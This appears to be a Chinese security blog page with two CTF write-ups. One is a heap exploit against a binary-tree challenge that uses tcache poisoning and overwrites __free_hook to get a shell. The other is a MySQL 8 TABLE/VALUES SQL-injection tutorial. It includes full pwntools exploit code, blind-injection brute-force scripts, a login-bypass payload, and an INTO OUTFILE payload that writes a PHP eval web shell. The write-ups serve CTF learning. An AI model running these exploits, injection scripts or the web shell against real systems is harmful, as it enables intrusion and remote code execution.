然后将其要替换的节点传入到带有bug的函数中,在此函数中,程序重新申请了一块buf,然后复制要替换节点的数据到新的buf中,值得注意的是,并没有像我们传统的数据结构中一通乱改指针,而是采用了一个复制的思想,但是新创建的buf的size给少了,控制得当能够溢出七个字节。
然后再往下的逻辑就是删掉刚才的右子树中的最小节点,因为其数据已经拷贝到原本要删除的节点当中。
在这里我有个疑问,既然之前选到了右子树的最小的节点,那么为什么还要判断其是否还有左子树呢?上面的分支应该永远不会进入,或许是出题人为了增加逆向难度,又或者是出题人面向ctrl+CV编程。
然后进入一个删除节点的函数:
unsigned __int64 __fastcall delete_leaf_node_or_right_children(struct node **father_node, struct node **to_delete_node, struct node **tmp_father_node)
{
struct node *v3; // rbx
struct node *v4; // rbx
struct node *v5; // rbx
struct node *v6; // rbx
unsigned __int64 v8; // [rsp+28h] [rbp-18h]
v8 = __readfsqword(0x28u);
if ( *to_delete_node == *father_node ) // only root node
{
if ( *((_DWORD *)father_node + 4) == 1 ) // only a node
{
v3 = *to_delete_node;
if ( *to_delete_node )
{
deleteNode0((__int64)*to_delete_node);
operator delete(v3);
}
*father_node = 0LL;
--*((_DWORD *)father_node + 4);
*to_delete_node = 0LL;
}
else // has right children
{
*father_node = (*father_node)->right;
(*father_node)->father = 0LL; // because of the "to_delete_node == father_node", the children will be the root node
v4 = *to_delete_node;
if ( *to_delete_node )
{
deleteNode0((__int64)*to_delete_node);
operator delete(v4);
}
*to_delete_node = 0LL;
}
}
else if ( *to_delete_node == (*tmp_father_node)->left )// if the node to delete is in the left of its father node:
{
(*tmp_father_node)->left = (*to_delete_node)->right;// change parent ptr and children ptr
if ( (*to_delete_node)->right )
(*to_delete_node)->right->father = *tmp_father_node;
v5 = *to_delete_node;
if ( *to_delete_node )
{
deleteNode0((__int64)*to_delete_node);
operator delete(v5);
}
*to_delete_node = 0LL;
}
else // if the node to delete is in the right of its father node:
{
(*tmp_father_node)->right = (*to_delete_node)->right;
if ( (*to_delete_node)->right )
(*to_delete_node)->right->father = *tmp_father_node;
v6 = *to_delete_node;
if ( *to_delete_node )
{
deleteNode0((__int64)*to_delete_node);
operator delete(v6);
}
*to_delete_node = 0LL;
}
return __readfsqword(0x28u) ^ v8;
}分为两种情况删除,一是叶子节点,另外就是还有一个右孩子节点,删除的方法很普通,就是普通数据结构中学的删除方法一样。
漏洞利用
完整exp如下:
from pwn import *
import sys
arch = 64
challenge = "./pwn1"
libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6"
libc_path_remote = ""
local = int(sys.argv[1])
elf = ELF(challenge)
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-hp', '65']
if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
# io = gdb.debug(challenge, 'b *$rebase(0x279f)')
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 25965)
if libc_path_remote:
libc = ELF(libc_path_remote)
if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'
def dbg():
context.log_level = 'debug'
def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")
p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
bps = []
pie = 0
def gdba():
if local == 0:
return 0
cmd ='b *$rebase(0x1ee2)\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./pwn1}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)
_add,_free,_show = 2,3,1
menu = "3.remove_information"
def add(idx, size, content):
sla(menu, str(_add))
sla("idx:", str(idx))
sla('size:', str(size))
sa("content:", content)
# ru('addr=')
# return int(io.recv(5), base=16)
def free(idx):
sla(menu, str(_free))
sla("idx:", str(idx))
def show():
sla(menu, str(_show))
def exp():
for i in range(8):
add(i, 0xd0, 'a')
for i in range(7):
free(i)
add(8, 0x20, 'a')
show()
leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']
libc_base = leak
echo('libc base:' + hex(libc_base))
free(7)
free(8)
add(7, 0xdf, 'z' * 0xdf)
add(4, 0xd0, 'a')
add(2, 0xd0, 'a')
add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)
add(10, 0xdf, 'c' * 0xdf)
add(15, 0xdf, 'd' * 0xdf)
add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))
# The last one chunks are buF areas of Number 3
# The last two chunks are buF areas of Number b
free(11) # 5c0 will corrupt
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(4)
add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))
add(0, 0x2f, 'a')
add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))
free(2)
free(0)
free(4)
free(15)
free(10)
free(13)
# Get the second chunk of 0x30
add(13, 0xd0, 'a')
add(10, 0x2f, 'a')
add(15, 0x2f, 'a')
add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))
free(13)
free(10)
free(15)
add(10, 0xd0, '/bin/sh\x00')
add(8, 0x2f, '/bin/sh\x00')
add(13, 0x2f, '/bin/sh\x00')
add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))
free(10)
free(8)
exp()
ia()漏洞其实并不太好利用,分析原因如下:insert节点的时候会额外申请别的堆块出来,整体的堆布局我们其实并不太好控制,所以漏洞利用的时候会有时不可控,我们需要反复的调试,现给出exp的书写思路。
泄露libc基址
for i in range(8):
add(i, 0xd0, 'a')
for i in range(7):
free(i)
add(8, 0x20, 'a')
show()
leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']
libc_base = leak
echo('libc base:' + hex(libc_base))
free(7)
free(8)在2.27下,只要循环填满tcache即可很容易的泄露出libc
布置二叉树
add(7, 0xdf, 'z' * 0xdf)
add(4, 0xd0, 'a')
add(2, 0xd0, 'a')
add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)
add(10, 0xdf, 'c' * 0xdf)
add(15, 0xdf, 'd' * 0xdf)
add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))可以看到,我们在输入content的时候会输入一些很奇怪的值,这个时候的值我们是无法确定的,必须结合后文来慢慢调试。
初始状态如图所示,这个时候我们去free11,将会到达漏洞所在逻辑的位置处,让程序触发漏洞。
此时堆空间的布局如图所示
可以看到这个时候其实已经利用了漏洞改写了下一个堆块的size位,形成了overlap
下面是关键操作,劫持tcache数组的0x30大小的chunk的fd为hook
free(4)
add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))此时的bins情况:
此时的二叉树为:
因为现在已经将freehook链入到tcache里面,下面我们的工作主要就是围绕怎么将其申请出来而努力,首先直接申请是肯定不行的,我也没有深究,因为申请的时候会首先申请两个chunk出来,然后将其free掉,然后再做一系列的memcpy操作,在这一系列的过程中,无法保证中间chunk的合法性能够绕过检查,所以我们还是利用漏洞点申请不同size的chunk的这一特性努力,我们可以逐个布置满足要求的二叉树节点,然后利用漏洞来申请出来这个chunk。
第一轮申请
add(0, 0x2f, 'a')
add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))
free(2)布置完如下node,二叉树为:
堆布局为:
可以看到还有两个node就可以申请到freehook。
free(0)
free(4)
free(15)
free(10)
free(13)清除一些无关的node,为我们布置节点做好铺垫。
第二轮申请
add(13, 0xd0, 'a')
add(10, 0x2f, 'a')
add(15, 0x2f, 'a')
add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))
free(13)此时二叉树为:
堆布局为:
清除一些节点来重新布置
free(10)
free(15)
第三轮申请并getshell
故技重施,最终可以申请到hook所在空间并getshell
add(10, 0xd0, '/bin/sh\x00')
add(8, 0x2f, '/bin/sh\x00')
add(13, 0x2f, '/bin/sh\x00')
add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))
free(10)
free(8) # getshell
本文到这里就结束了,如果有疑问或者任何不当之处欢迎联系笔者进行技术交流:mailto:lemonujn@gmail.com
mysql8.0.2新特性注入由浅到深
https://www.yijinglab.com/pages/CTFLaboratory.jsp
前言
最近打比赛的时候遇到了mysql8的知识点,这里就从环境搭建开始到注入一起一步步慢慢学习。
环境搭建
我这里是用docker在服务器上拉的,然后用navicat来看的
下载
docker pull mysql:8.0.21
docker run -d --name=mysql8 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.21 进入mysql容器,并登陆mysql
docker exec -it mysql8 bash
mysql -uroot -p
//然后输入密码开启远程访问权限
use mysql;
select host,user from user;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';
flush privileges;
连进去看看版本号就可以了,如果是8.0.21则环境搭建完成
基本知识
本次测试所用到的user表内容如下
table
基本用法
在MYSQL8以后出现的新语法,作用和select类似。
作用:列出表中全部内容
语法:TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
table user order by 2
table user limit 2与SELECT的区别:
1.TABLE始终显示表的所有列 2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
注意事项
比较问题1
(table information_schema.TABLESPACES_EXTENSIONS limit 6,7)
结果
TABLESOACE_NAME
tmp/user这里用小于号进行比较
select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:0select (('s','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:1select (('t','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:1综上可以看出来如果是u的,其ascii 编码大于t 的,得到的是1。
但是如果是s的话小于得到1,但是如果是t的话是等于,但是这里的返回值则为1。
所以在进行注入中注意要把得到的数ascii值减1。
比较问题2
来看下面的两个例子
select (('tmp/use','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:1select (('tmp/user','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:NULLselect (('tmp/uses','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,7))
返回值:0所以这里在判断最后一位是,要注意这里记得到取0之前的值。
整数比较问题
table user limit 0,1
返回值:1 hel看下面的例子
select (('0',2)<(table user limit 0,1))
返回值:1select (('1',2)<(table user limit 0,1))
返回值:0select (('2',2)<(table user limit 0,1))
返回值:0select (('0aaaa',2)<(table user limit 0,1))
返回值:1select (('1aaaa',2)<(table user limit 0,1))
返回值:0在这里,由于id是整型,当我们输入的是字符型时,在进行比较过程中,字符型会被强制转换为整型,而不是像之前一样读到了第一位以后没有第二位就会停止,也就是都会强制转换为整型进行比较并且会一直持续下去,所以以后写脚本当跑到最后一位的时候尤其需要注意。
VALUES
VALUES 类似于其他数据库的 ROW 语句,造数据时非常有用。
作用:列出一行的值
语法:VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...]value_list: value[, value][, ...]column_designator: column_index他的语法看起来很长,但用起来很简洁。
基本使用
VALUES ROW(1,2)
VALUES ROW(1,2,3)
VALUES ROW(1,2,3),ROW(5,6,7)配合union使用
VALUES ROW(1, 2) union select * from user
select * from user union VALUES ROW(1, 2)
information_schema.TABLESPACES_EXTENSIONS
我们可以通过这个表去查询所有数据库中的数据库和数据表
table information_schema.TABLESPACES_EXTENSIONS
等价于
select * from information_schema.TABLESPACES_EXTENSIONS
在这里我也列出几个和他相同功能的函数
information_schema.SCHEMA information_schema.TABLES
information.COLUMNS
mysql.innodb_table_stats
mysql.innodb_index_stats
sys.schema_tables_with_full_table_scans
实战演练
基础练习
index.php
<?php
// error_reporting(0);
require_once('config.php');
highlight_file(__FILE__);
$id = isset($_POST['id'])? $_POST['id'] : 1;
if (preg_match("/(select|and|or| )/i",$id) == 1){
die("MySQL version: ".$conn->server_info);
}
$data = $conn->query("SELECT username from users where id = $id");
foreach ($data as $users){
var_dump($users['username']);
}
?>config.php
<?php
// config.php
$dbhost = 'ip'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = '123456'; // mysql用户名密码
$dbname = 'user'; // mysql数据库
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
?>数据库信息
输入id会返回数据库的值
这里过滤了几个字符,尝试绕过并报出数据库
id=0%09union%09values%09row(database())爆字段
如果字段数多了或者少了会报错
得到字段数
id=0%09||('1','')<(table%09users%09limit%091)
//有回显
id=0%09||('2','')<(table%09users%09limit%091)
//无回显然后去爆破值
select ('1','a')<(table users limit 1)
//有回显
select ('1','r')<(table users limit 1)
//有回显
id=0%09||('1','s')<(table%09users%09limit%091)
//这里就可以得到第一个值,然后继续爆
id=0%09||('1','roos')<(table%09users%09limit%091)
//有回显
id=0%09||('1','root')<(table%09users%09limit%091)
//无回显到这里记得在最后一个值加上1,这样就可以得到数据库的值
脚本
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result
tables = 'roabcdefghijklmnpqstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ""
for i in range(0,50):
for j in range(110,122):
data = {
'id':"0/**/||('1','%s')<(table/**/users/**/limit/**/1)"%(flag+chr(j)),
}
r = requests.post('http://127.0.0.1/index.php',data=data);
print(data)
if 'string(4)' in r.text:
continue
else:
flag = flag +chr(j-1)
print(flag)
break
if(len(flag)<i):
break
print(flag[:-1]+chr(ord(flag[-1:])+1))
写文件
除了上面的方法还可以通过读写来getshell
查看是否有权限写入文件
id=0/**/union/**/values/**/row(user())
id=0/**/union/**/values/**/row(@@secure_file_priv)如果有,则可以通过下面的语句写入
id=0/**/union/**/values/**/row(load_file('/flag'))id=0/**/union/**/values/**/row(0x3c3f706870 406576616c28245f504f53545b315d293b3f3e)
/**/into/**/outfile/**/'/var/www/html/shell.php'
//<?php @eval($_POST[1]);?>
香山杯---login
这个题目没环境,这里就凭借自己的记忆力简单写一下解题过程。
描述
题目内容:只是一个简单的登录框,登录就有flag。
hint: mysql8新特性:values的利用
解题过程
进去就一个登陆框,直接抓包看看
发现这里对于不同的sql注入字符的弹窗是不同反应,如果被过滤了会弹出呵呵
简单爆破一下,发现select被过滤了,这里想到了mysql8.0.2版本的table绕过。
这里还可以用||来进行拼接。
测试,发现这样就可以进行注入。
username=123' || 1=1#&password=456&login=login脚本
import requests
flag=''
i=0
while True:
small=32
big=127
i=i+1
while small<big:
mid=small+big>>1
data={
'username':f"1' || ascii(mid(database(),{i},1))>{mid}#",
'password':'1',
}
r=requests.post('http://xxx.com/',data=data)
if '密码错误' in r.text:
small=mid+1
else:
big=mid
if(i>4):
break
else:
print(chr(small))
flag+=chr(small)
print(flag)通过上面的脚本可以知道数据库的名称,然后通过table去爆破表。
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result
tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ""
for i in range(0,50):
for j in range(48,122):
data = {
# 'username':"a0'||(('1','admin','%s')<(table ctfusers limit 0,1))#"%(flag+chr(j)),
#'username':"a0'||(('ctf','%s',3,4,5,6,7,8)<=(table mysql.innodb_index_stats limit 2,1))#"%(flag+chr(j)),
# username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login
'password':'',
}
r = requests.post('http://eci-2zefs2aa42oei8t7ms26.cloudeci1.ichunqiu.com',data=data);
if '用户名不存在' in r.text:
flag = flag +chr(j-1)
print(flag)
break上面脚本可以爆破出数据库的值,但是这里的密码是md5加密的,不能直接解密。
本题就用union去生成了一个新的values来进行绕过。
username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login登录进去就有flag了。
搭建环境问题
如果在搭建本地环境中出现了Call to a member function query() on boolean的问题的话,修改/etc/mysql/my.cnf文件。(注意一下,这里可能文件的路径会不一样,只要找my.cnf就可以)
就添加这两行
bind-address = 0.0.0.0
default_authentication_plugin=mysql_native_password完整的代码
# Copyright (c) 2017, Oracle and/or its affiliates. All rights reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
#
# The MySQL Server configuration file.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html
[mysqld]
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
datadir = /var/lib/mysql
secure-file-priv= NULL
bind-address = 0.0.0.0
default_authentication_plugin=mysql_native_password
# Custom config should go here
参考文章
https://www.actionsky.com/2777.htmlhttps://blog.csdn.net/HBohan/article/details/119757059
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

